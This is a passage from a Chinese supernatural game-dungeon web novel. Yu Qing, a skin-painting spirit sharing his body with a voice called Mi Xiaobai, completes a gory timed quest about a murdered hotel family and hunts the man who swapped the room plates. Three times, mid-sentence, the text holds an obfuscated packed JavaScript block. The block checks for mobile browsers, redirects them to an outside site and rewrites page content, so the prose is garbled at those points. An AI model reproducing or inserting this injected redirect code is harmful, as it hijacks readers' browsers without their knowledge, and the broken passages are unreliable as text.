虞青:“……” 他脸色不是很好看,冲小骷髅说:“挂断它。” 小骷髅向来听话,当即抬爪悬在挂断键上,正要踩下去,却见主人的手突然横插过来,还是接通了电话。 小骷髅:“?” 虞青面无表情地冲电话那头说:“再念那种蠢东西就滚。” 多年以来,任何人听到他用这种语气说话都会有点怵,但电话那头的人居然笑了:“那不念了,我先保留,下次需要的时候再让它派上点用场。” 虞青:“……” 还有下次? 那声音旋即收了点笑,正色道:“刚刚只顾念道歉忘了问。你最初拨这个电话,是发现什么了吗?” 虞青:“发现我就不该拨这个电话。” 说完他又啪地挂了电话。 挂断的前一秒,他似乎听见对面被堵得愣在当场,无法还击。 虞青想了想那幅画面,总算舒坦了一点。 几秒钟后,电话铃又一次响起。 小骷髅爪子还悬在挂断键上,眨着眼茫然地看向主人,等一个靠谱的指示。 这次虞青没折腾它,把它爪子挪开,接了电话。 电话另一头的人失笑问道:“消气了吗?” 虞青嗤了一声,却没再挂断。 这次,没等对方再问一遍,他就开口说道:“打这通电话是因为那个手机一直在响,很烦。我看了那个队伍频道里的信息,发现这层楼有两个1811。我住的是其中之一,当然,我这间的房卡和房号明显改过。” 这点他在刚办入住时就看出来了,只是当时这些信息跟他无关,就没放在心上。 “没弄错的话,我这间原本应该是1814。至于另一间真正的1811,布置得跟我这完全一样……” 虞青斟酌了一下,形容道:“就像是镜像对称地复制过去了,所以想试试人有没有也复制过去。” 现在看来确实如此。 电话那头轻轻“啊”了一声:“怪不得……” “什么怪不得?” “怪不得我刚睁眼时,看着房里的每样布置都有点别扭,原来是镜像的原因。” 刚睁眼? 虞青问道:“你是刚刚才从那个房间醒来的?” “是啊,听到电话铃声的时候我刚醒,睁眼发现自己就坐在桌边的椅子里。我差点以为你这次坐着就睡了,以便把我轰出来继续收拾烂摊子。” 虞青听着他的描述,若有所思:“所以你——” 他想说“你在我身体里的时候”,又觉得这话说来实在古怪。便换了种说法:“所以每当我醒着的时候,你看不到我所见的东西,也听不到我所听的东西,并不知道发生了什么,是么?” “差不多吧。” 虞青拉了脸:“什么叫差不多?” 那人含糊笑了一下,解释道:“当我不占据主控权的时候,你的身体就像是……” 他斟酌了一下用词,形容道:“一座小房子。” 虞青:“?” 他怔住,差点以为听错了:“一座什么?” “小房子。”那声音又带上了笑,“门窗都关着,而我就待在里面。有时睡觉,有时候会醒一会儿,醒着的时候能隐约听见外面的声音。” “我可以根据听见的零碎信息,非常、非常少,但也能推测出一些事。免得在醒来的时候显得像个呆头鹅,但也仅此而已。” “那么,为了不像呆头鹅。”虞青固执地把呆头鹅这个名号摁到对方头上,作为小房子的还击,“你有必要再推测一下,你那间房为什么会复制我这里。” 他依然对所谓的副本、任务没什么兴趣,但他非常厌烦自己留下的痕迹被原封不动地搬到别人眼里。 “稍等,我看看。”电话那头的人似乎转换成了免提,在房间各处查看着,过了片刻,声音又到近处,“你试试走出房间。” 虞青也按了免提,在小骷髅困惑的目光中走出房门。 只出一步,就听见电话里的声响卡顿片刻,忽然挂断。 只剩下嘟——嘟——的忙音。 看来,只要虞青迈出房门,那个房间的人也会消失。 一分钟后,断了的电话再次连通。电话那头的人无奈道:“这么看来,我受限制有点多。如果房门都出不了,能做的事就太有限了。你不如亲自来看看?” 虞青问:“说请了吗?” 对面立马改口,慢悠悠的腔调说:“请你亲自来看看,怎么样?” 虞青勉为其难点了头。 他直起身,正要挂断电话,就听对面说:“看来我又要暂时窝回房子里了。” 虞青按键的手一顿,忽然没头没尾地问了一句:“你叫什么名字?” “嗯?”对面的人似乎也很意外这个问题。 “你的名字。”虞青又觉得自己多余问这一句,“算了,没事。” 他只是觉得那个笑脸太烦人了。 那道声音愣了一下,在虞青挂断前回答道:“弥笑白。” * 画皮先生终究还是穿着浴袍出了门,看在这条黑洞洞的走廊只有他一个人的份上。 他拿上了线索掉落的那张房卡,先试着在自己的门上刷了一下,发现能用。又走到另一间1811门口刷了一下,居然依旧能用。 虞青过去在岛城处理过太多人命相关的事,对于一些邪乎的手段见怪不怪。这种情况一看就是有人在两个房间放了点东西。 一般是在门槛下。 虞青用拖鞋踢开门口地毯一角,底下除了陈年积灰,什么也没有。 那就是在门上了。 他关上门打量一番,正要掀开那个写着1811的黄铜门牌。 忽然听见电梯间响起一串咚咚咚的脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495562|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蹦跳着有点急,像是小孩踩出来的。 接着是两道小姑娘的声音,一前一后:“你为什么要动我们的门牌?” “爸爸,有个奇怪的人要动我们的门牌。” 虞青:“……” 他先低头看了眼自己的浴袍,嘀咕了一句该死的洗衣房。这才转头看去。 只见一个西装革履的男人正朝这边走来,一手搭着一个小女孩的头顶,半哄半管地说:“别跑太快,妈妈和姥姥还在大堂,马上上来,我们等等他们。” 男人样貌能称得上一句清朗端正,看起来家底殷实或事业有成,不论是手指上的戒指还是腕间露出的手表,都价值不菲。 两个小姑娘穿着一模一样的白色小裙子,五六岁左右,像是一对双胞胎。 她们叽叽喳喳往虞青面前冲,却被她们的爸爸给摁住了。 “跑错了,怎么每回出电梯都不记得左右。”那男人冲虞青抱歉地笑笑,“不好意思,她们认错门了。” 虞青没答话,目光平滑地从他们身上掠过。 在岛城的风俗里,有这么个规矩,碰到野鬼开口,不管他们说什么都不要贸然回答,最好当做没看见他们。 然而虞青掠过去了,烦人的全息屏却没有。 男人带着两个小女孩从他身后经过的瞬间,全息屏蹦了出来: 你的运气真糟糕,在错误的时间碰巧出现在错误的地点,跟那一家五口撞了个正着! 但也由此触发限时任务【他的珍宝】,怎么不算是一种因祸得福呢? 新手副本内,限时任务由小队共享,倒数计时10分钟。 09:58 09:56 09:51 …… 这条通知同步触发在了队伍频道内,2分钟后,三个K穿着那身黑卫衣、顶着满头红毛一阵风似的旋了上来,由于胆小的缘故,还拽上了跟他作伴的纯没礼貌。 画皮先生穿着浴袍被迫在走廊展览,已经很不爽了,他原本并不打算管那两位聒噪“队友”的死活。 然而电梯叮的一声打开门时,跟三个K和纯没礼貌一起出来的,还有一个年轻女人和一位老奶奶。 俨然就是那个男人口中的“妈妈和姥姥”。 双胞胎小女孩扒着墙张望,一看到电梯里的人,立马叫道:“妈妈,姥姥!我们刚刚不小心又走错门啦。” 她们蹦蹦跳跳跑过去,一人一个拽着电梯里的人往外走。黑漆漆的眼珠一转,看到了同乘一部电梯的三个k和纯没礼貌。 “哎,还有两个哥哥。”她们咯咯笑着问,“你们也是这层的住客吗??” 虞青皱了一下眉,第一次在队伍频道里敲下一句话:别回答,当她们不存在。 但他忘了一件事。 三个K和纯没礼貌完全没想到在电梯里就会撞见鬼,此时正像鹌鹑一样挤在电梯角落,吓得快翻白眼了,根本顾不上看手机。 于是三个K哆哆嗦嗦回了小姑娘一句:“啊?我、我可以是保洁吗?” 刚说完被纯没礼貌拍了一巴掌,他这才看见队伍频道里虞青发的那句话。 两人连滚带爬,蹿到虞青面前,小声问:“完了,我理她们了。为什么不能回答呀?” “为什么?”虞青指了指他们身后,“你回头看看就知道了。” 三个K和纯没礼貌默默回头。 就见那凑齐的一家五口忽然变得面无表情,黑洞洞的眼睛一眨不眨地望着他们。 下一秒,整条走廊瀑布般往下涌出深红血液,那五个人脑袋一歪。 五颗头颅连带肢体七零八落垮塌下来。 “啊啊啊啊啊啊啊啊——” 三个K嗓子一亮,拽着纯没礼貌瘫软在地。 残肢满地乱滚,他俩满地乱爬。 虞青闭了一下眼:“……” 废物x2。 10. 珍宝 那两个小废物一边爬一边还不忘发出“任务、任务”的叫声。 虞青烦得不行,问:“怎么弄?” 三个k在连绵不绝的惨叫声中喊:“点它!点它!点那个任务!不做完这些东西肯定不会散啊啊啊啊——” 纯没礼貌被一只满是尸斑的胳膊揪住裤腿,一边疯狂兔子蹬一边哭:“不对啊!不是说你胆小吗!怎么就我俩在叫!” “哪个没礼貌的东西胡乱造谣。”虞青冷声道。 纯没礼貌:“?” 虞青掏了卡,瞬间刷开房门。他避开那些疯狂的残肢,一脚一个,把乱爬的队友怼进屋:“进去!” 房门砰的一声关上。 破碎残肢猛扑到门上,抓挠拍打,发出尖锐哭声。 三个k和纯没礼貌又惯性爬了一会,才反应过来自己暂时安全了,瘫倒在地喘着气。但听到那些哭声时,还是一惊一乍直哆嗦。 虞青按照他们所说,点了那个任务名【他的珍宝】。 果不其然,出现了任务介绍: 罗尧是玫瑰岛城最早做海滨旅游开发的商人之一,也是最年轻的一位。刚满30就已坐拥数亿身家,环绕离岸码头建了最早的度假酒店——蓝色海湾。尽管如今的蓝色海湾酒店在岛城人眼中已陈旧不堪,是著名的闹鬼场所。但在初建之时,也曾万人空巷、风光无两。而罗尧一表人才,事业有成,家庭美满,也曾是《玫瑰日报》商版小新闻的常客。 可他最后一次登上《玫瑰日报》,却是头版头条——一家五口殒命于他自己的酒店,又被抛尸于他们常常凝望的那片海。 后来,酒店的住客说,他们总能听见野鬼哭号,叹息说,有人觊觎他的珍宝。 请找到罗尧的珍宝。 【点此提交任务道具】 虞青点了一下【提交任务道具】,只见虚空之中出现了一道有着霓虹灯带的门框。似乎只要把找到的【珍宝】交进去就可以。 视野一角的倒数计时还在跳。 07:13 07:09 ...... 三个K和纯没礼貌也在看任务介绍,倒数计时弄得他们心慌意乱。 “珍宝,珍宝到底在哪啊?!” 纯没礼貌叫了一声:“对了!刚刚那一家人是不是本打算回他们自己房间?他们站在哪扇门面前来着?” 三个K一愣:“好像就是我们现在呆的这间!” “那我们就在房间里找!” 虞青满脸不高兴:“这是我的房间。” 纯没礼貌:“啥?” “况且谁把珍宝放酒店房间里。”虞青冷声说。 “你是说……”三个K眼神逐渐惊恐起来,“还在他们身上?我们还得开门问他们要?!” 他显然猜对了。 因为话音落下的瞬间,虞青一把拉开房门。 残肢瞬间疯狂扑过来。 虞青把那两个废物小点心拖到走廊,在他们绝望的眼神中关上房门。 三个K立刻被一只断手缠上,满是尸斑的青白手掌就要往三个K脸上捂,死死钳住他的脸,几乎要把他的皮肤生剥下来。 虞青冲三个K说:“刚好,抱住你正在搏斗的这只手,拖进那个丑门框里。” 三个K:“……” 刚好在哪里?! 三个K艰难点开【提交任务道具】,那道有着霓虹灯带的门框再次现于虚空。 光带一照,他才发现,试图活撕了他的那只手戴着戒指和腕表。 倒数计时还在跳动: 05:53 05:50 …… 三个K再顾不上害怕,跟那只手一路扭打着滚进门框。 霓虹灯带瞬间熄灭,全息屏蹦出一句提示: 此物过于破旧,无法辨认,请在限定时间内提交完整道具! 三个K:“……” 那你***的倒是出现得精致一点啊!!! “居然有脸说道具破旧不完整!”三个K过于愤怒,一瞬间几乎忘记害怕了。他牛脾气上来,试图把戒指和手表从断手上强撸下来。 却听见虞青说:“手表戒指是完整的,不完整的是手。” 可能是他音色太冷的缘故,在这样的氛围里有种比残肢更重的鬼气。三个K打了个寒颤,觉得这话内容不堪细想。 “你是说珍宝是人本身吗?”纯没礼貌茫然道:“身体?生命?心?可是他已经散了呀!上哪弄个完整的来?” 他说完的那一刻,似乎听见了一声叹息,在幽长走廊里更显阴森。 纯没礼貌瞬间噤声不语。 接着,他看见那个总是嫌脏嫌乱、支使他和三个K做这做那的人,陡然变了气质—— 那人一把攥住疯狂的断手,阖上眼睛,嘴唇轻动了几下。 整条走廊四流的鲜血瞬间逆淌! 鬼哭声骤然变大,撕心裂肺,高亢尖利得几乎洞穿耳膜。 丝丝缕缕的青金烟尘像蝴蝶羽翅上的纹路,从那人的指尖蔓延出去,包裹住断手后不断延伸。烟尘经过的地方,断手皮肉皆褪,唯剩白骨。 而那烟尘还在编织爬蔓,像一幅逐渐展开的画,勾勒出男人变成碎尸前的轮廓。 三个K和纯没礼貌倒抽一口冷气,看着地上越来越多的白骨,一路后缩。 直到退无可退,他们才意识到,那些烟尘编织出来的是一幅新鲜皮囊。 他们眼睁睁地看着虞青周身笼在尘埃般的雾里,褪下之前的模样,转瞬穿上了那身皮囊。 他有着和一家五口男主如出一辙的模样,西装革履,样貌堂堂,周身却散发着森然鬼气。 尘埃散去的那刻,白猫长叫一声,跳坐到他肩头。 目睹这一切的三个K和纯没礼貌两眼一翻,差点晕死过去。 虞青对他们的反应置若罔闻,兀自点开【提交任务道具】那行字。 那道霓虹门框再次出现,他抬脚走了过去。 叮—— 全息屏跳了出来: 恭喜!你的搜找已小有成效,【他的珍宝】道具已找到1/5,请找齐之后一并提交。 时间已经剩余不多了哦,请务必加快速度。 倒计时还在跳动: 03:06 03:02 …… 这一声道具提交成功的提示音,把翻白眼的两位队友又给叮活了。 “居然成功了!”纯没礼貌叫完,看到虞青转过头来,又吓得瞬间收声。 即便此刻大脑停转,什么信息都反应不过来,他也很难忘记刚刚目睹的那一幕—— 累累白骨和生褪的皮囊…… 但他再害怕也没用,因为虞青已经盯上了他。 直到对视的这一刻,他才发现,这人眼眸深处有一抹幽幽的绿,像深浓夜色里明灭的鬼火。 “怎、怎么啦?”纯没礼貌哆哆嗦嗦地问。 虞青轻轻歪了一下头,却面无表情:“没看提示吗?还差4个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495563|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 既然提交了一个人完成1/5,那么剩余4个是什么,就太好猜了。 纯没礼貌:“所以呢???” 他有种不祥的预感,而他还没来得及跑,就被虞青攥住了手腕。 纯没礼貌:“……” 五秒钟后,他又一次全景声沉浸式看了一遍刚刚放过的恐怖片。 跟之前不同的是,他全程被这位神鬼难测的队友摁在白骨面前,眼睁睁看着新鲜出炉的又一副皮囊套到了自己头上。 那位队友清冷冷的声音说:“快点,穿衣服不会吗?!” 纯没礼貌穿着穿着就哭出了声:好恐怖的人,说着好恐怖的话。 等他穿完,往走廊的玻璃前一站,发现自己已然变成了姥姥的模样。 纯没礼貌破罐子破摔,抬手直指三个K的方向,出卖道:“他在那里,疯狂地爬!” 三个K从纯没礼貌被抓住起就试图逃走。 未果。 半分钟后,他就成了双胞胎小女孩其中的一个。 他捂着嘴,泣不成声。 令他稍感安慰的是,就在他哭得不敢出声时,电梯门叮咚一响。 一个穿着酒店制服的服务生从电梯里走出来,手里还抱着几件干净衣服,没裹防尘袋所以看得很清楚,应该是一套西服和一件衬衣。 服务生正要往这个方向拐,结果一抬眼就看见满地骨头和满墙的血。 他尖叫一声,吓得扔开衣服就要跑,结果也被虞青抓住,强行套了一幅皮囊。 至此,三个K终于明白。 哪怕就是路过一条狗,都逃不过魔鬼的手掌。 可即便如此,一家五口仍然缺着人——男主人、女主人,姥姥,小姑娘都有,还缺双胞胎中的另一个。 而时间倒数已经跳到了不到1分钟: 00:49 00:47 …… 就算此刻直接跳下18楼,去前台抓壮丁,恐怕都来不及。 倒数的时间框已然变成红色,继而整个走廊都仿佛在倒数一般,鲜血翻涌,一下一下的震动比心跳还急促。 “怎么办?”三个K口干舌燥。 就见虞青原地站了几秒,似乎在思索。 下一瞬,他干脆地刷开房门,一把将三个K拽进屋。 接着在队友茫然的目光中,拍了电话免提键,按下了1811。 嘟—— 嘟—— 等待声听得人心生焦灼。 而倒计时还在跳: 00:21 00:18 …… 电话终于被接通。 弥笑白的声音从那头传来,他说:“房间里忽然多了几个人,你拉进来的?” 虞青瞥了一眼三个K此时的模样,问道:“有没有一个扎着双马尾的小姑娘?” 弥笑白:“有啊。” 倒计时已然到了最后: 00:11 00:09 虞青沉声说:“点开那个烦人的提交任务道具,抓住那个小姑娘,送进门里。” 弥笑白笑起来,玩笑般应道:“遵命,这就去办。” 在倒数计时还剩2秒的那一刻,五道身影分别穿过灯影闪烁的霓虹门框。 全息屏叮的一声跳出来: 恭喜!全部道具提交成功,限时任务【他的珍宝】已完成,达成隐藏成就,你的行为已影响副本结局。 点此领取特殊奖励。 11. 反问 虞青点了【领取奖励】,只听一串丁零当啷的音效,蹦出好几条消息: 人物战斗经验+1000 人物等级+1 人物资产+30000 恭喜!你已获得特殊道具:蒙尘的海螺铃铛x1、奇怪的金币x1、许愿笺x1、事件线索碎片道具x1。 几次三番下来,虞青对于全息屏的出现似乎已见怪不怪,甚至还会主动点击道具名称查看详情—— 【蒙尘的海螺铃铛】 有人觊觎罗尧的人生——名望、地位、财富甚至外表,却对他真正的珍宝弃之如蔽履、抛之于深海。你的答案给了游荡的魂灵一丝安慰,它掏遍满身口袋,送了你一只蒙尘的海螺铃铛。 【奇怪的金币】 一枚刻着木船图案的金色硬币,长相酷似上个世纪投币游戏机的游戏币。你试着用牙咬了咬,硬的,不是真金,不值什么钱。暂时不知能用来干什么。 虞青心说哪个傻子会咬这种东西。 就听三个K不信邪地咬了一口,吐掉灰尘说:“呸,还真是硬的。” 他甚至还掏出了那只灰扑扑的海螺铃铛,试着摇了摇。 系统蹦出一句提示:时机不对,请下次尝试。 三个K又道:“狗屁奖励,纯钓我。” “……” 假如许愿笺神明自己也能用,那虞青一定会许愿,先离傻子远点。 可能是这两个额外收获的奖励道具破破烂烂,太不值钱,纯没礼貌瞪着它们,气得说不出话来。 “我这边也能看到奖励界面。”弥笑白的声音突然响起,带着一种轻声的、玩笑式的夸张:“哇,感激不尽,在你不计前嫌的帮助下,我的资产状况好多了。” 虞青这才想起免提没挂,他还和1811保持着通话。 他难得点进个人信息界面,一眼看到上面清晰的字: 人物等级:4 人物资产:-419000 近42万的负债…… 虞青忍不住说:“恕我不能理解,一个带着负号的高额数字,是怎么跟‘好多了’这个词出现在同一句话里的?” “在我这里可以。”弥笑白说:“毕竟债多了不愁嘛。” 虞青共情不了这种负债人,自动共情了债主,心说好一个无赖。 他正要开口讥讽,余光却瞥见一小坨白色的东西忽然垮塌。 虞青:“?” 是披着双胞胎皮囊的三个K。 他刚才被任务的倒数计时刺激得肾上腺素狂飙,又被特殊奖励打了个岔,差点忘了自己目睹过什么。 这会儿听到电话里的声音,终于放下道具转过头来。 他盯着虞青看了好几秒,轻声说:“不对,笑脸兄弟你不对……” 电话那头的弥笑白敏锐捕捉到了昵称,十分自觉地代劳道:“笑脸兄弟?你是在说我吗?” 虞青刚张开的嘴又闭上了。 他一向讨厌麻烦,平时解释不清的累嘴话都是元叔代劳。眼下元叔不在,居然有人接替干活。 倒也行。 刚行完,他就听见弥笑白问了一句连他都觉得臭不要脸的话:“我哪里不对了?” 三个K心说你***哪哪都不对,怎么还能反问的? 但他没敢说出口,毕竟这位笑脸兄弟刚给他生套了一张人皮。 而要说疑惑,三个K心里的疑惑可太多了—— 面前这人冷冷的声音他听过,电话里那个漫不经心又带点轻佻的声音,他同样听过,还是在同一个人身上,但此时却分在对话两端。 电话这头的人他看得到脸,如果是笑脸兄弟本人,那么电话那头的人是谁? 但这些他一时半会儿不敢问。 这位“队友”神秘莫测、鬼气森森,善于伪装还能揭人皮囊。最重要的是,他一进副本就穿着一身极像cos服的纯黑西装…… 一切都在引向一个不敢多想的答案。 三个K捂着小白裙跌坐在地,喃喃道:“我一个新手副本都匹配到了什么,bug卡我身上了吗?这不对啊……” “这就是不对。”纯没礼貌神色也很恍惚,看起来,似乎在刚刚没说话的时间里已经崩塌过了。 三个K蠕动两下,跟他挤在一块,却只敢小声附和:“是吧。” 纯没礼貌依然恍惚:“我是说整个走向都不一样了……” 三个K想起这个队友懂得比自己多,进来前应该没少看攻略,就问:“所以正常的新手副本应该是什么样的?” 纯没礼貌:“据说只有几组指引任务:住酒店、买武器,躲怪,买药买食物,级别升上来,再磕口药试着打个boss,获取一堆奖励和宝箱,就引导去出口了。” 三个K:“这么简单吗?那为什么都说撤出率只有不到80%呢?也就是说5人小队,常态只有3、4个人能离开副本。” “谁知道呢,咱们队里不也折人了么,那个辣汤大老爷说死就死。”纯没礼貌看起来忧心忡忡。 他诚惶诚恐朝虞青瞄了一眼,在手机输入框里悄悄敲下一段话,给三个K看: -你怕他吗?我有点怕他。虽然奖励拿着爽,但总这么躺赢也不好意思。副本结局已经受影响了,隐藏任务这么做下去,不知道会怎么发展。 三个K在输入框里敲下回复:你是想? -要不咱们去把正常的引导任务做了,看看副本出口会不会开启? 三个K挠了挠头,面露难色:“嘶——这样好吗?” 他也试图瞄一眼,却对上虞青冷冷的目光。 三个K转回头来,义正辞严道:“显然不好!” 纯没礼貌:“……” 他还要张口,忽然听见“叮”的一声,安静了没一会的全息屏又跳出来: 【一节被绞断的钢索】 警告!警告!有人绞断了码头的钢索,原本停靠于码头的几艘快艇不翼而飞。 海滨用具商店也惨遭祸害,墙面地板被人写满血字,老板惊吓过度,关门歇业。暂不开放泳具、救生衣、快艇租赁业务。 游客常规离岛出口已关闭。 请探索新的方式,尽快离开! 三个K听完满头问号:“这话什么意思?” 纯没礼貌艰难开口:“……就是正常副本出口没了的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495564|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “没了?彻底不会开的那种没吗?”三个K茫然问:“可是我们什么都没碰,为什么会突然蹦出这个警告?” 弥笑白懒洋洋的声音从电话里响起:“啊,实在不好意思。刚刚手痒没忍住,点了一下奖励里发放的事件线索碎片道具。” 纯没礼貌看上去十分崩溃。 三个K连崩溃都很小心:“那个……我能问吗?其实刚刚就很想问了。这通电话究竟是打到哪里的?副本小队一共5个人,为什么那边听上去有好几个人。还又能提交任务道具,又能领取事件线索的?” 他看着虞青。虽然害怕,但还是下意识把这位神鬼莫测的“队友”当成了主心骨。 虞青却说:“不如去问凶手?” 他冷不丁一句平静的话,给三个K吓够呛:“凶手?你是说,害死那一家五口的人还在这酒店里?” 虞青:“嗯。” 他作为鬼神画皮,在岛城见过很多贪欲引起的祸事。自然也见过很多手段。 看到另一间1811能复制这间房的一切时,他就已经有所猜测了。 无非是有人眼馋那个罗尧的人生,用了些下作手法,试图复刻到自己身上。 结果行差踏错。 那些奖励和道具的解释,只是帮他确认了这些想法。他刚刚唯一在猜的,就是凶手还在这里吗? 结果弥笑白一个所谓的手痒,就落实了这个猜测—— 这个酒店里经久不散的怨鬼有两拨。 一拨是罗尧那一家五口。他们只是对曾经的温情时光留恋不舍,所以总徘徊于此,想要回到他们曾经住过的地方,整整齐齐,不受惊扰。 也正因为此,引导虞青住这间房间的,不会是他们。同时阻挠游客离岛的,也不会是他们。 虞青目光落在三个K和纯没礼貌身上,忽然问道:“你们总在一起吗?” 他们一愣,有些不明所以:“对啊?怎么了?” 虞青:“你们当时拿到1811的房卡,上楼来看时,是径直走向右边那间了吗?” 三个K和纯没礼貌面面相觑:“对啊,还能走错吗?” 虞青没有立马说18楼有两个1811这件事,而是问:“为什么没来左边看一眼?” 三个K纳闷道:“一出电梯不是正对着1813和1812吗?当然是哪边数字小往哪边走。” 他破防般补了一句:“我就是再傻,也不至于酒店房间不会看啊?” 结果这话刚说完,尚未挂断的电话那头,弥笑白的声音又响起来。 他问虞青:“这样吗?那为什么咱们入住的时候选了左边这间?” 他语气真的很好奇,但接在三个K那句话后,就显得十分讨打。 况且…… 谁跟你咱们?! 虞青冷着脸说:“那么好巧,我办完入住上楼时,电梯正对的房间是1812和1813。” 他冲着电话,语气毫无起伏地强调:“我也是哪边数字小往哪边走。” 他说完,反把问题抛给了弥笑白:“看来有人在这期间动过手脚,那么请问有脑子的你,鸠占鹊巢时为什么没发现?” 12. 客人 “你是说我睁眼的时候吗?”弥笑白回想了一下,语气颇有些浑不吝,“那场面确实有点超出预料,而我也没什么准备,只好先跑了。” 虞青有点难以置信:“只好什么?” “跑啊。”对面的王八蛋说。 “你顶着我的脸,睁眼做的第一件事就是被追着跑?” “放心,没有很狼狈。”弥笑白说,“猜到你或许会不高兴,我特地戴了个面具。” 虞青:“怎么,我还得谢谢你?” 弥笑白说:“也不用这么客气。” 虞青深吸一口气。 而三个K已经开始倒吸一口气了。 他在电话这头,眼睁睁看着这位“身份不堪细想”的“队友”脸色越来越臭,嘴唇越抿越紧。 他都想给电话对面那位磕头了。 像这种一句话要打两次引号的人,能不能别特么的招他生气了?真给惹急了,遭殃的还是他们这些离得近的池鱼。 就在池鱼急得想插嘴时,弥笑白倒是先开了口,他说:“你听上去好像快生气了,不如我来转移一下话题。” 虞青:“?” 饶是画皮先生见多识广,也是第一次见到这种款式的转移话题。 弥笑白说:“你最后一次仔细看中间两个门牌是什么时候?还记得吗?” 这人难得说句正经话,虞青当真回想了一番,结果脸色更难看了:“在电梯里席地而坐的那一次。” “……完蛋。”弥笑白轻低的声音传过来,“转移话题失败。” 三个K偷听到这句,绝望地倒在纯没礼貌身上,却发现对方神色郁郁心不在焉。 “你怎么了?”他小声问。 “啊?”纯没礼貌恍然回神,摇头说:“没什么,我就是有点担心出不去。” 三个K想说别担心,再差也有60%~80%的出本率呢。但话未出口就想起来,他们所在的副本跟其他玩家已经不一样了,最终能活几个人,确实难说。 他并不擅长安慰人,憋了半天,忽然想起特殊奖励中的许愿笺:“哎兄弟!别忘了这个。咱们还有一次许愿机会,还能再加一波Buff。” 他晃了晃那张纤薄纸笺:“我供的禄姑,能加钱。可惜武器只能买那一次,不然我一定买最贵最强的。现在买不了武器,我就去买药,多买点,咱们几个都管够,怎么样?” 纯没礼貌被他提醒,神色缓和不少:“确实啊!还有许愿笺。” “对嘛,你供的哪位来着?” “武神。” “武神好啊!武神这时候最顶用了。”三个K说,“你许两次愿,相当于武力值比我们所有人都高——” “4级。” “不止!”三个K把宽慰的话说到极致,“据说武神明面上加的只有武力值,实际还加什么斗志、好胜心、勇气等等,要不好多人把武神当财神供呢。有这些,你最后的综合数值……我靠,是不是比这的NPC都要高了,还怕出不去?” “好有道理!” * 他们俩给自己安慰好了的这段时间里,虞青真的盘了一遍时间线。 弥笑白虽然混蛋,却也提醒了他。 在电梯间席地而坐的那次,他回房间时还真扫过一眼门牌。 那时的门牌还跟入住时一样,左边是1812,右边是1813。越往左数字越小,所以他理所当然地左拐回到自己房间,没有发觉异样。 而再晚些时候,三个K和纯没礼貌就在队伍频道里发了1811的房内照片。 据他俩说,他们上楼时,一出电梯间看到的就是左边1813,右边1812,越往右数字越小。 如果有人动了手脚调换门牌,只能在这两个时间点之间。 这之间18楼来过什么人呢? 同样走错房间的洗衣房女士,以及…… 保洁! 虞青记得那位保洁——一位皮肤黝黑的小伙。 他踩着虞青刚出浴室的时间点摁响门铃,那便难说在此之前,他在走廊里待了多久。 他还是除了虞青之外,唯一走向左边这间房的人。进门之后,又对房里残留的奇怪痕迹毫不意外。 不论是洗衣房的女士,还是三个K和纯没礼貌,都是在他之后来的18楼。如果是他动的门牌,那时间上完全说得通! 虞青抬眸,目光落在那位被抓壮丁的洗衣房服务生身上。 服务生被迫套上的皮囊开始失效,头脸都已现出一半原貌,割裂而诡异。 他正惊惶地看着自身变化,余光却瞥见有人瞬间就到了他面前。 他猛地抬头,对上一双幽如鬼火的眼眸。 服务生骇一大跳!简直问什么都招—— “你们酒店有没有一个黑皮保洁?” “有、有的吧。” “有就是有,没有就没有。的吧什么意思?”虞青冷下脸。 服务生连忙改口:“有的有的。” “他在哪?” “一般、一般在一楼的客房服务休息间里。” 一楼房间那么多,虞青懒得再问,直接拎了服务生当质子,干脆利落地下了楼。 他出门的那一刻,始终联通的电话瞬间断连,变成嘟——嘟——的忙音,接着又戛然而止,归于死寂。 * 三个K懵了几秒,忽然意识到这个房间其实很大,是个带暗门副卧的家庭房,灯光昏黄、弯弯绕绕。从那一家五口的反应看,他们曾住在这里,也死于这里。 他一转头,瞥见玻璃窗上映照的自己。 生套的皮囊半褪不褪,五官割裂,裙子苍白朦胧…… 三个K被自己吓到,尖叫一声,撒腿就往门外冲。结果发现纯没礼貌特么跑得比他还快! 他们其实只耽搁了几分钟,却深刻体会到了那位“队友”的可怕。 因为当他们赶到一楼,冲进客房服务休息室时,虞青已如鬼魅般瞬移至沙发旁。 沙发上坐着的黝黑男子弹起来,正要夺门而逃。就被虞青一把掐住脖子,转手狠狠钉进沙发里。 力道之大,那人甚至压过厚实皮垫,重重撞到了沙发坚硬的底板。 砰! 一声闷响,那人眼底充血,面容扭曲,惨叫出声。 “……” 三个K和纯没礼貌面无血色,默默后撤一步,退出门外。 等他们再探头时,那人已经告饶般叫道:“我不知道!我不知道!是有人让我这么干的,说换一下门牌就好!别的我都不知道!” 